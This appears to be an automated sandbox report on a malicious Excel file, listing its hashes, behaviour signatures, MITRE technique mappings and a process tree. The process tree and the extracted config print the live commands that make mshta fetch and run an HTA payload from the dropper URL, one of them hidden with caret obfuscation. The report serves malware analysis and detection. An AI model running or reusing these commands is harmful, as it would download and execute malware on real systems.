f9a62989a9557f2c364c0110df196aad49e98808b541c683bfd21293f6a44660

General

Target

Form.xls
Size

47KB
MD5

0a0cc336a3dddf8ebd8e42d1b47f6998
SHA1

98bc11b23c8b82650f5775415c4ea45e2b9a4d7b
SHA256

f9a62989a9557f2c364c0110df196aad49e98808b541c683bfd21293f6a44660
SHA512

23cf3408e3b931fc29ac6cedbac2d5cda70dfa5d398b14a7392d9b7c8a154805a8a7a25556a3dc5218311370e9937c7a533a63317d8a2e66fcc0e6b8e454b289

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://91.240.118.168/vvv/ppp/fe.html

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

CMD.EXE

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	3388	2652	CMD.EXE	EXCEL.EXE

Blocklisted process makes network request 1 IoCs

Processes:

mshta.exe

flow pid process

36 1492 mshta.exe
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

3680 1492 WerFault.exe mshta.exe

flow	pid	process
36	1492	mshta.exe

pid	pid_target	process	target process
3680	1492	WerFault.exe	mshta.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

2652 EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 13 IoCs

Processes:

WerFault.exe

pid	process
3680	WerFault.exe
3680	WerFault.exe
3680	WerFault.exe
3680	WerFault.exe
3680	WerFault.exe
3680	WerFault.exe
3680	WerFault.exe
3680	WerFault.exe
3680	WerFault.exe
3680	WerFault.exe
3680	WerFault.exe
3680	WerFault.exe
3680	WerFault.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

WerFault.exe

description pid process

Token: SeDebugPrivilege 3680 WerFault.exe

description	pid	process
Token: SeDebugPrivilege	3680	WerFault.exe

Suspicious use of SetWindowsHookEx 13 IoCs

Processes:

EXCEL.EXE

pid	process
2652	EXCEL.EXE
2652	EXCEL.EXE
2652	EXCEL.EXE
2652	EXCEL.EXE
2652	EXCEL.EXE
2652	EXCEL.EXE
2652	EXCEL.EXE
2652	EXCEL.EXE
2652	EXCEL.EXE
2652	EXCEL.EXE
2652	EXCEL.EXE
2652	EXCEL.EXE
2652	EXCEL.EXE

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

EXCEL.EXECMD.EXE

description	pid	process	target process
PID 2652 wrote to memory of 3388	2652	EXCEL.EXE	CMD.EXE
PID 2652 wrote to memory of 3388	2652	EXCEL.EXE	CMD.EXE
PID 3388 wrote to memory of 1492	3388	CMD.EXE	mshta.exe
PID 3388 wrote to memory of 1492	3388	CMD.EXE	mshta.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\Form.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2652

C:\Windows\SYSTEM32\CMD.EXE
CMD.EXE /c ms^hta http://91.2^40.118.1^68/vvv/ppp/f^e.ht^m^l
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:3388

C:\Windows\system32\mshta.exe
mshta http://91.240.118.168/vvv/ppp/fe.html
3⤵
- Blocklisted process makes network request
PID:1492

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -u -p 1492 -s 1636
4⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3680

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

memory/2652-115-0x00007FFB428B0000-0x00007FFB428C0000-memory.dmp

Filesize
64KB

Download
memory/2652-116-0x00007FFB428B0000-0x00007FFB428C0000-memory.dmp

Filesize
64KB

Download
memory/2652-117-0x00007FFB428B0000-0x00007FFB428C0000-memory.dmp

Filesize
64KB

Download
memory/2652-118-0x00007FFB428B0000-0x00007FFB428C0000-memory.dmp

Filesize
64KB

Download
memory/2652-121-0x00007FFB428B0000-0x00007FFB428C0000-memory.dmp

Filesize
64KB

Download
memory/2652-128-0x00007FFB3FD60000-0x00007FFB3FD70000-memory.dmp

Filesize
64KB

Download
memory/2652-129-0x00007FFB3FD60000-0x00007FFB3FD70000-memory.dmp

Filesize
64KB

Download
memory/2652-295-0x00007FFB428B0000-0x00007FFB428C0000-memory.dmp

Filesize
64KB

Download
memory/2652-296-0x00007FFB428B0000-0x00007FFB428C0000-memory.dmp

Filesize
64KB

Download
memory/2652-297-0x00007FFB428B0000-0x00007FFB428C0000-memory.dmp

Filesize
64KB

Download
memory/2652-298-0x00007FFB428B0000-0x00007FFB428C0000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads